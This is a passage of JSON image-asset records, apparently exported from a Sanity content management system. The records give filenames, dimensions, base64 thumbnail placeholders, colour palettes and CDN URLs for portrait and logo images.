WjunQ3zh9R4r6uFTaLGXIgQALhWI7IFYwkARR9KBSVkQzLcgBjpueoP66CIn0bDmZuw7niH3CpPBsNpZk4XZ6HDk1jFBoKhSByYqpEq1IkkqmxfggJXF1Zhu6qBmWZaazJTUPn0RIMnj/E578dY1/tfjSXZeFUeT4HHtyFz+sRQIrcGGOrFCtXNDkacy05oWk4Q2XGN7hSnsVn51ScuH6a0zfr+fJSFW9XFrCuLBc9f7TTs74mkiByYwy1FLOBOw4UFWo1F6HKTmOLIpMDtUq+0FTzdWstnzUeZrsqn00HSznU+wB+nzcRKBgGARTekuNA9/J73LnWhKq879hY/D21qgLeqdpH/cn97DhUyIaSDDYfVtD4uBcBvz8RKBgOAQwAiMSBaysu9Oku87wihy3lWWxTFfCmqoDtv+zhlbIsXvwpk23VFZwYfkw5sJEIjAjzi6H8B7jhXcfrgW62qZXRinpOlPPPY8XUKXOo3Z/N2wfz2dVYzbkxk/AjEoGiuM8kR8IhOGwW6G804XaVAgLWUZFLTUk6m4t2su3AbvZdqec7mxWRSOR/JX8cSjRCRu1gMvSwvUbJNmUOr+7L4IW9O1mXu51NiiwO6C5z1eWMwz4bykfbRCMkAhsbND7pR/NhBS6WpLO1bBevRaE7eLmyFEbDQ/i9Hn4CtMRtI36Wzuhuxgfz4QOedN9DvXIvqnK+YV1eGhry03hyTxpba49hfmaKn8j1kRSM1PjqibUZDYfDYb9/AwuL7/BU3wPtqSOoK87g0V3bULHjKyh2fo2m2mrMWa0IBoPRHgIIk9HVEz9PiiQHQ9HPISDL6lX3mtW+uBSeMttofPEKgw/u4f6Fk2j5tQg1P36Lil3b0VBzHM+G/sIbu4Orqx/CsixHPwfBCIVCSVJG6RlhnWTX+7+3zNoW1FMz86MT0zbfxLSN42PTND5+xAFtC9vUB1j/cwE1Z8+wq7ufg8MvfeOTM6POpWW1LAe3CMYXm7+UpDcLLmneGZKMryaTRydnN02Y5wunLG87zVa7xWy1uyenZmXT8Eik95Y2ortwVu64fsPd9dBg0fcPdRqejBSZXk9ueud0JWt1v0vGl+OStLbmkdY9PlGltOhcSTJb7SnT1rep5lm72jK3YDBb3jrGxmcCI8MvAr0P+xxdXX0Gff+QWt8/tLW792lKl34wSX2iQVpeWZXsi07pHwKqDQD6tVVhAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d352a","foreground":"#fff","population":2.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#63442c","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a77863","foreground":"#fff","population":2.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acb4c4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcac97","foreground":"#000","population":0.75,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a77863","foreground":"#fff","population":2.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4886c","foreground":"#000","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"tuomas_lounamaa.png","path":"images/sczeoy4w/production/144feda00a3074d4e1a82f6a2d492df62044ca67-160x160.png","sha1hash":"144feda00a3074d4e1a82f6a2d492df62044ca67","size":10056,"uploadId":"ounaxKelcCi2CsXc6Bm7uwPZskRXwSuS","url":"https://cdn.sanity.io/images/sczeoy4w/production/144feda00a3074d4e1a82f6a2d492df62044ca67-160x160.png"} {"_createdAt":"2022-06-17T08:37:35Z","_id":"image-2d31f13e8c1ca25c78f03afa8e8f4981259b438e-130x130-png","_rev":"qkpX9b3U0TpOGFQp8gRiXm","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:35Z","assetId":"2d31f13e8c1ca25c78f03afa8e8f4981259b438e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"efMtK*M{?vt7IA~qxuIUWBM{9GRj4na}IVW=WBRioLt7WBt7IUaxj]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":130,"width":130},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE40lEQVQ4jV2Ua1CUVRjHX7WY/OAHPzhqjggWIIoKBAqyIOiKhE7IklwUWEVcxEJFMBbjoshFvA2hLgY2ZYkjOo1ipIlkpCMKNqI5BY5AijWZK4iyyy7s+/7/zcE1mZ6ZM3PmnPf9Pf/nch6JpPRqARBrHElfABkAagl0kRwgaQXwCEA9gDySgQDGAxg1kvHfhuQYANNIxgM4RvIOSaMsyxaLxSJbrVZFURQryV4AbQBOkUwB4AbA4f/AN8QFySwATQCeA4DZbGZ7ezsvXaxnw6UG3rt3j/39/QQUkDQBuE2yCIAXSYeRwGkABOxXAIMkaDKZ8EtLC6rKP0PO5jRsTU1FaVEJGn9qRF9fn/BHADKADgAlJN1JjhawcfYwr7+EkbIso62tDV8cKkdFfiaqS/QoTd+A5NgY5G3PQUtzC6xWq1AJO/QugDSSEwTQl+QxAMKt4EGou1BXx91Z6agr34EHDdW8UWPgjo1JSIiKwucVR/j48eNXQAIYIHCOZJioaqYoAERiXhJhNBr5ZVUlspITWbNbz87642y/8DUrc9OZsPx9btuSjtZbrcOR8DVUdEOZUFgLwGg/HP6gu7sb+3eXMm1VNI/mbuGt0wa2nf+K31cUM0eXwBRtImtra4eLxtfAfpK3BVCQLSOBIn85ej3TE2N4Zt+nvPutgd2XT7DjUjWr9+VSFx/LCoOBRuOTkQplkmYR8oA9scPeRBgtzc3cmKJj0opwfpO3iVcNhfz95GHe/+4oT+zJ5troFSwtLuKjR90jgcMm2dUpr4A22xCamq5y3dpELvH3ZXZcBGuyPmZTWQGvHN7J4o8SqAlTsyA/j390db78yW5iK9mfk3hWwxdmswmXf6ynNj6OXjNnMHKBL8vXx/F8wVZWZiRzdVgwlwQGsFAAOztHKhSirAJ4EUCPIsvs7XmKpqs/o2hnPtQLg+g+3Zkhc9yZHxtOw8ZYblgWQr9ZM7logT8PFBfiYVcnFcXeHIAZQLsA5iqK0vaspweN9T9AvzkNgfPm0dXJGR7OTlzh58V9yZE8mLqSHwb40GP6dKr9/XCgIJ8dbb9haHAQiqIIhd0AqiRACXre13fq5vUmU2l+LsODVHB1nArHiZPo4eSIlYE+rMrQ8mReKrWhgfR0eReh/n4szspE6/VrMJv6qSiy1T6FNJICjL91sznlSNn+1vVx0XKwjzfcHKfCadJEuLw9mSFzZmBPahzO7s3C1rgIBHjMYrgqAMWfZKKpoR59vT2KbLPdV2Q5m+QUUeVRFfv3uG1aE18YE6buCPbxkme/40TXKZPhMnkivJynIk2zFMd3ZVK/JgYhXnOxMlSNyr27eefGNaWv9+mftqHBw7ahQW8xAqU352ukxPDFDgnLQ70+WKgqCX7P826gp8eAarY7F8xyY4C7C7XqAJZuWA1dxFKGeM6hLjqK52tOWP9+0Hl/wPTi0NCgRWUx948dHl86baIkLEmzzEE9z8dd7eudpglRnVsXGd6VGhPZnxC2SF6z2B9p4UGImO+pBM/1MGckabuv1J2tf/H0H71sG/S2mF+MvXmlVhJtKBXpM6QtuvXSuLckaVWkZvTy+d4T0mI1YQd3ZpcZduXe2b4u3qwLVUGr8oTaw9USPHd2+7bktVWNZ05HPfvr4ZQnT4xjhCDFJkuKbJP+BV3wiyeLpn9pAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#642c2c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#541414","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d3b1a8","foreground":"#000","population":0.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3b1a8","foreground":"#000","population":0.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecc49c","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d6b54","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cb9c7c","foreground":"#000","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ruth-prieto-arenas.png","path":"images/sczeoy4w/production/2d31f13e8c1ca25c78f03afa8e8f4981259b438e-130x130.png","sha1hash":"2d31f13e8c1ca25c78f03afa8e8f4981259b438e","size":20060,"uploadId":"1SNvto5VOs3wlE78BP6s2U2bZ4D6dXvw","url":"https://cdn.sanity.io/images/sczeoy4w/production/2d31f13e8c1ca25c78f03afa8e8f4981259b438e-130x130.png"} {"_createdAt":"2022-06-17T08:37:27Z","_id":"image-0e8bb56429c18c9719bb431aa9cb5959fd574dc7-294x214-png","_rev":"oamrAPLmQLQjd9jh7ZwCks","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:27Z","assetId":"0e8bb56429c18c9719bb431aa9cb5959fd574dc7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VU5*KukWVrkWf6VDfPaJkCkDL#V@fkbIkCu6e.kWj[ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3738317757009346,"height":214,"width":294},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADEUlEQVQ4jX1Uz2tdVRCel3vOnHvzkr60saCEZ0yNTQu2FK3UGiulYv1RBY1Q21JaNGiVqIhFwYXoIgvduHIpuhEVrc3MfS8YLXTTRTfuKrbmm9sE8d+w6JyXomDxwHA5c858882cby7R/60vf6VNvYbatRF9dZXou9+Ivl+lYgnUWgINLeHWcZ1ekwO3X1inyZU1unNljaZ/Ws8++voq0Re/UFJLrNjCiuFKjaJgkOg/69wqHbz0B5VqFGSQ1S+P1DYI+PwK0WdX3NcNgqeCYHcUBGfJeguGw7Vl+uPLDRUyKMUBuytrOQEtXqbN/aYVBPcXgvcKwZEgKIf+dW98uaHblhua+nGNiD3o/KqX10pq7VJt63BtnU6vCVVtmUW7thAEhwvBYiF4tFQLDpYZnl8lOrfRW8fyg6QWWNFlwYGk9mRV24GR2ia29Jti5sJ6LrcQvFII3omCHe4frq3wttC314i+uZZBvboMFgTbo2COBUdZcTSpzVdqDzjTKNgZBPOF4OMgeD6pTSTFDlbcU6qVSW00CrZ5UlYkzz4dBMfdWDAbBSeiYIEV+6NgNgheD4JPC8EHUbArqe1ixQJvgLNgbxCcCYJTLNjjgMeC4KUoeCgKDgfBW1HwTBQcDIKFIHg/CD4KghOsmGTFc6xYZMVcUtvr+yg4HQWvsuCkP8rbrHg2qT3MgvkoeI0Fh6JgfgPs3SD4MA4Y7YuCN1lwNqk95u1hwcssmIsDhi94D49Vak9Uao+UaodKtceTmmc964EseJEVx5Pa00ntCCtOseKkM2TNBN6IgjP5DRQzrsOpdm3T7druaNfWadfWLdX2JLXZpLY/qc1UardXaneVaneXalNJ7d40uLM7Ch6Mgn0s6Fa1RRrrN0Nj/abYuny99eeNG67HYqRn3K6zpdGeFfdd/J1GejbU6TWtsX7TqtRittqKpBZdKRM/XB8MwmjP/DKN95ssTteWz6qPon/93LV2c7+532TterB/fWKyoD/5Oe8zgAe5+U/CwX0cPTjbxky776Yl/cccxM0TTv49en8BmZHiqrAwvikAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#347454","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044c8c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#508698","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0c628c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5cc0f0","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#508698","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04c4f4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"adeo.png","path":"images/sczeoy4w/production/0e8bb56429c18c9719bb431aa9cb5959fd574dc7-294x214.png","sha1hash":"0e8bb56429c18c9719bb431aa9cb5959fd574dc7","size":16340,"uploadId":"BaahOjC9EpVyQwWs0Rljp0r45KHe6usK","url":"https://cdn.sanity.io/images/sczeoy4w/production/0e8bb56429c18c9719bb431aa9cb5959fd574dc7-294x214.png"} {"_createdAt":"2022-06-17T08:37:19Z","_id":"image-c75cd12cc608ba877fdf572a15169bf6e4244a8d-500x497-png","_rev":"oamrAPLmQLQjd9jh7dgrnW","_type":"sanity.imageAsset","_updatedAt":"2022-06-27T13:23:33Z","altText":"Mathias Fröjdman","assetId":"c75cd12cc608ba877fdf572a15169bf6e4244a8d","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e#Qc3a-;.TM{s9xaR*o#Rjf6S4ofV?t7ayxuWBt7RPRjR*jtadt7bH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0060362173038229,"height":497,"width":500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD4UlEQVQ4jYWU61NaZxCH85+1Hzv90E+Zdpo6JlVj01gzjmKFqeK1UWxEifcgovECBo2mKniJaRK0ihoQlCQVRPGCJ14TNMBR8Omg0Wi0zc7s7M47s8959+xv30t8sIODg5N47HuhIGteF/ahLoa0JfTX3ma4XYPbNop/a51IOHyu5tJp4GkPBXZZeWVjsr2OAaUUQ9Z1GtJjqZdd54FSjqW/i01hhUgkcqb+HDBq+3sigtuJ/WEd1srfmCpLY1TxC6asONrSrqC+9R1Nv0uwjwwRCrz/PDDg38ZlNuJsLMLXfJu3HaVstSvxNd3mdZWMwdxEGqQJDLY1sL2x9nmgf30V92MDXv0ddrorEAc1iAMagr3VbOqLsZamoZPF80hdhrDk/W8gHB3urPtYetqB0FnObp8a8a8mxCeNBE332Gi7g7U0FZ30Gh1VxSzPuy8YyvHtPsTdDQHv8z+Z1ZUy16rE11XLVp8WX3s5jupsBvOTaJLG01N/F2Fp4aTuBHjyhWge3se/ssB0bxtDqhz6FFLM5bmM3yvicUkm7fJkGiVx1EgS6G2oRFhwcxD5KJ/zQDGI3+XgZaeW4Yp8zKrcQ+9XyOjISaE7PxVD5k1q0+LpKCtgfmqcsBi6GHiYiyECnhlWB3UsGKpYNFThaSnDWiHnmUKCrToPy90sHmTdoKtEjsc6RnhP/B9geJ+Q4OWtxcimUcNmVw2rehX2ikyeF6bwSp2PU52HsTCVJ40VCJ5ZDk6J+wj46crtbLNtf8ZKZyXe+4W41QWMKSSYMhMZLUlj4m4GA6osHM/6eO9/93kdhsUgW68ncRlUvFbn4NEUMqOS8yQ7if6cRIz5NzBVFzDvnCJ8ap+jdiEwOrV3Kx5cpiZe3S9iuVXJgraIsT/SaJfFUn3rW/QlWYfASHj/TIdnp3xKj+L7HZanRrDrVTjUcqzlGXRnJ6CI+5pfL39Jpexn7ObHBHZ3zgLP3OyT3P9mCaephUGlBJ3sKqWJ35Bx+QuyY76iuVDKxJARYXmRYCBwMphD4Ol/cNRyhD1RPFzBxbF+RrQK9Lk3qUm5gib9Kt1RoZseMj0+is3yNw7rJMKq77DmpOXjGAoGWVtd4Z8ZB06Lmbmnj3B31zPVqmKiuRSnsYX5F8N4Xk5jtYzSdl9L+R0FD/WtzEzZPrYc9cDuLrPOafo6DejqauhpqcfW3Yx3QIdvuIc1xxibCy6W51yMj5hp0WqQZ0hIir+GNCUZVXHhx5ajL69vaZEeg46yAjnKvEza1JW8MD5gabSf9dlp3go+Nt8I2CYsqKvKSU9OIvFqDAkx3/NT7A8kJ/zIv2gsWQMI5rMFAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#594b44","foreground":"#fff","population":3.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#472617","foreground":"#fff","population":0.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#594b44","foreground":"#fff","population":3.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5a08e","foreground":"#000","population":1.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb99e","foreground":"#000","population":1.93,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a77056","foreground":"#fff","population":3.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c7876e","foreground":"#000","population":3.03,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"mathias-frojdman.png","path":"images/sczeoy4w/production/c75cd12cc608ba877fdf572a15169bf6e4244a8d-500x497.png","sha1hash":"c75cd12cc608ba877fdf572a15169bf6e4244a8d","size":256055,"title":null,"uploadId":"IkFnAqhXPIYrBtRiMnFyEDfiSKKP1Wms","url":"https://cdn.sanity.io/images/sczeoy4w/production/c75cd12cc608ba877fdf572a15169bf6e4244a8d-500x497.png"} {"_createdAt":"2022-06-17T08:37:23Z","_id":"image-8f6efc49a31c8c7f30a8da4fdde4aa535fdb43b0-2500x2500-png","_rev":"oamrAPLmQLQjd9jh7ZwCaQ","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:23Z","assetId":"8f6efc49a31c8c7f30a8da4fdde4aa535fdb43b0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMN9qWGw00#Q0f19T1v}NF${00R6%$sj-qEAog$yM|ox01xC.9%erX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAFNElEQVQ4jX2UeUzUVxDHRwQBuUSqUUFqqYriwQJqgQioCAviBZHDq560tUpsYqy22gajbSL1qBoNFWlsitJQFWKUXY6KoICoVARBpFbximIFuXbZ3d97821+qNTEpJN8kvfmj09m3uQNeWh15K7V2Xho9YM8tPrBr3H1jNa7fTiv0HXsgiI374VFbuPjip2DV5T2J0on//giQmASISSWMGseYcZ8QnAsIXwukSr00OqtPbR6R/dInbNnlN7Za26B04hInbN1QJ4DjTvlSKNzHGhkth3R3n5EaXSt8hGhopRAmQTaQaBiAojgs5jIPVKn0iv0jNY7uUfqnFxDzzlOXVoyaOuBW0MOZf/tmXHm/qjjZx8MK/vzhT0Awr1GQvJG4sAka2jibdl7iRWoiDBlEdHwiFcVekbpHUdE6JymLi1xycxr9rjZ1B765Llx9bMXpm9aWk27WtvNm80WuRCAt2zrcEDoKjuEzR+OuVFjkDjrPWwItFKrpPfnFNDoeYXWIyJ0jpHryl0LK1smtnWYky2KPCEE1yiCHwvBLUJyMzOXAzjILzvisP+wHxZHhmJDYAx2TJ6IjFF2aOxHpLbgGa239ku64KQrf+bz9J+er00WeQ1ABwCJt4NZMPCcDYZirijeiT1Jq3mv93xkjZyAc0PseytUhUQzqOZOu2u3UVlmUWSFkGxhZvC7oebAisXAT+9eR9mBVM6ZEoSCgW5c6dW/T/ia8QDSAbS9qed/MXS2c31FDk7sDOVPHQew6gra2Se0sShiTrfBdKm90yjau4zo7O7hLoMJXQYTd3WbuNtoZoPRjI4uIxt7jCwNHRJ1tbf5UMbnmB7risnBhPVb+oQDX3YaV95oeFR/7uIt5BbX8vmL9awra+DC8kboLzWgqKKRL1Q1cfHlOm5quMaWlmqg+lIH7z5yDBEfj1M9fKW8T+jQ0tq1tqTqr8b03y7jh8w/+OCvpXwk+xJnnqqEmjt8sgxHcyo4K7cUtVXn2fxQD1TqFU7dW4DZy0LY1s1KbfuN0K6zuye++Ulr9c3Gx1xZc5+v3Gzm6vqHrN6v1T1AZc19XK19gNrbzdzy5A4rrY1A6QXJm1LLWRsbI5NDbXqFMVtPqkIrIWWgEPKMENJoUQTMFoUVRfRitqgovTmLRYGQCvPLNiDnrOA1Gy7zIu1CkRVmL70GEMFkITxrJTAPg5RbwHz3v2myylsTf30WknHrNnjXnm5OSMiTKWFapWyak9w0k0iWXqEe9UEzcu34Rt1sfvr4NBs7O1iKXts7KApzczNz5nHmFWvv8RJtmjgQFKSU+Q6S34b0I8xcQwhbYo3ghUOQsjYUp/ft4tuFVWhp6uKuVsDcAygWwNTDaHsB1N4AMo8yf5L8nOOjf5dbQ5aJPP9JSoGvi9wbRATaSBwVMxAJ4T5ICVyA/UFrkbtmOxftP4vL2Y/4us7E1cWSy84x5xyT/P1XRl6T2MyJs0/JL6avE1lTQhS9r5c4r7EX6dOIGET8WZAdtmnGYp93OP/iHoKfPSbw7rBITotL5bSlefzd8irenniLU2JqeOWMQl4V/KPcFrhSZAWECp3GR+g0biJf01/ka4hw3o3w0wdWOOHugryhI1HkNpRLHGw5gWx5mas7lnt+xCvGxHGyTzKvn5Qst/klisMB4SLPL0DR+44VOs0Qka8ZoBT5Ug/UbZM/+NW2rbHpx1X2/bnUyQpX11PvP1f5cjPJ1Mk24pi/s8idOlQU+L+vFGpGCZ1mhMjXuIh8jbVS6EvijB8JnYb+BbMdCjNGsB4YAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e4768","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041989","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eeb40c","foreground":"#000","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3c4cc","foreground":"#000","population":0.11,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6d85f","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#657498","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eeb40c","foreground":"#000","population":0.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"norauto-image-composition.png","path":"images/sczeoy4w/production/8f6efc49a31c8c7f30a8da4fdde4aa535fdb43b0-2500x2500.png","sha1hash":"8f6efc49a31c8c7f30a8da4fdde4aa535fdb43b0","size":128168,"uploadId":"D2QsBGuAKQ1cwFlWF0Qh9BgIS63qmNvd","url":"https://cdn.sanity.io/images/sczeoy4w/production/8f6efc49a31c8c7f30a8da4fdde4aa535fdb43b0-2500x2500.png"} {"_createdAt":"2022-06-17T08:37:20Z","_id":"image-1ecb3abe62e8c3219d231f41535b8227a269cbae-130x130-png","_rev":"0HOthdQkSgJdYc0CAFe0bc","_type":"sanity.imageAsset","_updatedAt":"2022-06-27T13:32:53Z","altText":"Olena Babenko","assetId":"1ecb3abe62e8c3219d231f41535b8227a269cbae","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"ejK^]Ot7_NR*Vs~WofNGWBIU4.WB8_oeIUxuWBRjoeR*ayofIUWVof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":130,"width":130},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFL0lEQVQ4jU3Ua0yTVxwG8DoXEz/sgx9MFrcpINALUNrSAuWiCM0ARaWCFBUQ8AIqYFEULwMGUsE7indUhsqmeIvo3JQMcW4Kmc6p2TTgmBGHAiJgudnS51neji57k/Ph/Sfnd57zPydHRFIkDAD2QfIjABoAawFctlosreZ3vYPdXZ3D73p72qwWyw2S+QCCAUwgOcZqsTjmikT/A8eSmAIggWTViNX6sPN1e9f9xp+GrpyvHvn6xEFb7bnq4T8ePXjbb373BEANgDQAYpLjHI4D+xCgGEAugDuAre9N52tcrz3PLblZzEiK5bL42cxIMXDf9iLea7yNfvO7fgC/ATABUAIYJ6T8NyHsyQTsEcn3g/1m3m2og2l9BlbNj0Dm/HAsj9YhPjIYi+bqsKt4M548fkCr1TJC8hmAEgBSAB84epYA4C6A97DZ+KK1GZV7S1G4LA4Va1NwrmAVDmYnwWiIgH6GBsmxEbhQfQK9b7tBcgTAYwCZJCeKRg+gCkAvhXjDQ2i6VYft69J4dG0yfjn0JX4/sZX1O9dx90oDEsK1mBOiZmnBerS2PAUAAhgEUAsgQkiYA+AhABtJmPve4mpNFYvS41GTn84nVdvYXLWNP5dt4uHViVwaFcxZgXIYly5k4+16WCzvhZQC2gqgTAAvA+gSVhLq3Z2v8M3RPchNnM3jOcm8VbaZTfvz+d3WbO5MMzB1ZhCjAryYEhuOK+er2W/uc4Bm4ZAEUJCHHGDXqzacLC9BtuFz7l1lYK0pm/U7N/BqsZEHshKYER1CfbCcCbOn8eSRPejqaHeAQi8HBHBw9Mdef/OqDWcObePGhEgeX5PIu+V5vHeokA07c3khfwWLkqIYH6pi4qwgHtlViJfPnzn6aP9Eo+lsDrCnqx3XTu+nKU3PY9mL2FT+BR8e3sKb23N5bnM6ixfP4UKdmqn6UFYd2I72tr/+w+wgyTYAw45Vet+0o+FiBXcb42lKiWJ17hL+uGMD60zreMyYzCx9KGOmKWlcrOf3F6vR12O/OhwNNSQkvA6gm6PV7lfPUV9zCLuyFzBr3nTmxOpYuSaVVwqN3J1m4MJQDWOmK1mQlYTGm9c4ONDvAAcAPBXAPAJPLBYrOjs6cP9OParLC5i3TI/EcC2jg3y4PCqMpiVxXBcXybgQNRfPDIRpTTIbvj2Lvp43dpDkCwAVwpanWSyWmpaWP/srvzrF3OzVMKbEIjU6lHOnaTBDrWCAQskwPz9GBmion67Gihgdt2QtwqkDJXj0axPNZvOwzWa7AWCeAE5oa/s77Xjl6QfRMYtGvOVqBKpV0Gl9MEOjpL9CAS+ZAhKxAgqZHBEBamYYIpCXHofclUkoNRXZ6up+aOno6NxIcpIAjrlw6Yo4MWVFsbcq+NlkJ9mIi7OEHmIPeMvk8JQqIJWqIJOp6SlTIlijweI5YVgZP4vzIsNsYbrwl0vSMw/UnL+kIjlW1N7cLJq/IHWc2l+ndJNpSj519nz8mZPHoIurN13dFXQVq+guVVPq6QeJhy+9vVQM1Wo4K0Q7HKz1b5HJ1fvFCm1QaGT0ePt7mJicLuq5fk8kkweOc3JVSCdNkWVOdpHXTpWoW6dK1GYXsc+Iq9QX7h5auMr8bG4S5YCH1OuFwlN+Qy5XbZDKfVXOnn7jtZHxopz1m0Si0h37RHv2HrS/i5OmyD74eLJ0orO7T4SbzK/MRaJ56OTuM+Ai8YWbRwCmyvyHnMQ+T53dvSuc3eQxTu7en4i9fMcKc2vOnhHlFe8Q/QMaVjQmZeSYbQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d3b30","foreground":"#fff","population":8.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#441c08","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4d3b30","foreground":"#fff","population":8.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6afa0","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edb096","foreground":"#000","population":0.36,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a66458","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d49c86","foreground":"#000","population":5.6,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"olena-babenko.png","path":"images/sczeoy4w/production/1ecb3abe62e8c3219d231f41535b8227a269cbae-130x130.png","sha1hash":"1ecb3abe62e8c3219d231f41535b8227a269cbae","size":21537,"title":null,"uploadId":"mNhJShl3Tgvc78NGKjvT1gQi9mUsvv7T","url":"https://cdn.sanity.io/images/sczeoy4w/production/1ecb3abe62e8c3219d231f41535b8227a269cbae-130x130.png"} {"_createdAt":"2022-06-17T08:37:25Z","_id":"image-816690c7e7f99100b966306cba5c177eb215ac51-1242x946-png","_rev":"qkpX9b3U0TpOGFQp8gRgaP","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:25Z","assetId":"816690c7e7f99100b966306cba5c177eb215ac51","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V77w+*t700M{a#xaa#oeWBWC00Rj~qxuj@RnWBWBt7t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3128964059196617,"height":946,"width":1242},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC6ElEQVQokS2O22/TVgCH/eI4iY997sfn+BZfYse3xGnckLVFWivBAImHPtGXahMS07QB5RZoVcTEwyYmJg2NMYT2104Gp